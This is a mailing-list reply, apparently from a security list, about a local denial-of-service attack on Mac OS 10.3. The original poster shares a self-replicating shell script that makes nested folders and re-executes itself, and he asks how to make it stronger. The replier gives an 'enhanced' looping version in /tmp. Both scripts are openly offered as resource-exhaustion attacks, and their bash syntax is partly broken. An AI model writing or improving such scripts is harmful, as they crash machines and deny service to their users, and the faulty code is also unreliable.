Re: New mac-10.3 vulnerable to a fork bomb

["Daniel" <dan () lockedbox net>]

"Ben Greenberg" <benfallout2 () hotmail com> wrote:

> I have developed a small but effecteive local DoS fork bomb, which through a

> shell script creates folders within folders, then moves itself to the new 
> folder, worming throughout the hard drive.  eventually the computer is 
> overloaded with crashes, and the fork service fails.  I was hoping I could 
> have some help developing this(note: this isnt the exact script, just what i

> remember from it.  it was originally more complicated and travelled around 
> the HD a lot more):
> crashing.sh
> $i=$i+1
> echo crashing
> mkdir $i
> mv crashing.sh $i/crashing.sh
> cd $i
> ./crashing.sh
>
> anyway to enhance this?
Just off the top off my head also:
just place the script in / or /tmp a static location.

sudocode(/tmp/crash.sh):
#!/bin/bash
for (( $i=1 ; $i<9999 ; $i++ )) ; 
do ( 
mkdir $i
cd $i
/tmp/crash.sh
) done;

Regards,
Daniel.

> thanks in advance,
>
> Ben Greenberg
>
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